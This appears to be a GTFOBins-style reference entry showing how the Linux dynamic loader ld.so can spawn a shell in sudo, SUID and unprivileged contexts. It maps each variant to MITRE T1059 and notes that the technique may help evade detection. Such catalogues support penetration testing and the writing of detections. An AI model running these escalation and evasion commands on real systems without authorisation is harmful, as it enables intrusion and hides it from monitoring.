ld.so

The spawned process will be the loader, not the target executable, this might aid evasion. See <https://shyft.us/posts/20230526_linux_command_proxy.html> for more information.

/path/to/ld.so /bin/sh

Context

sudo

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/ld.so/

The spawned process will be the loader, not the target executable, this might aid evasion. See <https://shyft.us/posts/20230526_linux_command_proxy.html> for more information.

/path/to/ld.so /bin/sh -p

Context

suid

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/ld.so/

The spawned process will be the loader, not the target executable, this might aid evasion. See <https://shyft.us/posts/20230526_linux_command_proxy.html> for more information.

/path/to/ld.so /bin/sh

Context

unprivileged

Native

shell

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/ld.so/